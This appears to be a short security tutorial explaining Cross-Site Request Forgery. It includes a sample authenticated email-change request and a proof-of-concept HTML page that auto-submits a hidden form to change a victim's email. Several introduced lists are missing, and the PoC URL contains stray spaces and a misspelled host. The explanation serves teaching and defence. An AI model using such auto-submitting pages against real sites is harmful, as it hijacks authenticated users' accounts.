Cross-Site Request Forgery is an attack that forces users to execute an action on a website they are currently authenticated to. When applications rely on cookies for session handling and have predictable actions that can be triggered by an attacker, it is possible to achieve CSRF (Cross-Site Request Forgery).
For CSRF to be successful there are few variables that need to be in place:
See below for a HTTP request that would be suitable for a CSRF attack. The request is a user attempting to update their email address:
POST /account/changes HTTP/1.1
Host: northgreensecurity-insecure.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session= yvthwsztyedfghdfghPzghjfgyiuHNFjg
The request meets the requirements previously mentioned, as it includes:
To exploit CSRF a malicious webpage is needed, when the victim user visits this page it will trigger the email change function. See below for a malicious webpage created from HTML:
<html>
<body>
<form action="https:// northgreensecurity-insecure-wesbite.com/account/changes " method="POST">
<input type="hidden" name="email" value="hack@csrfPoC.com" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
When a user visits the malicious webpage, the following actions would occur: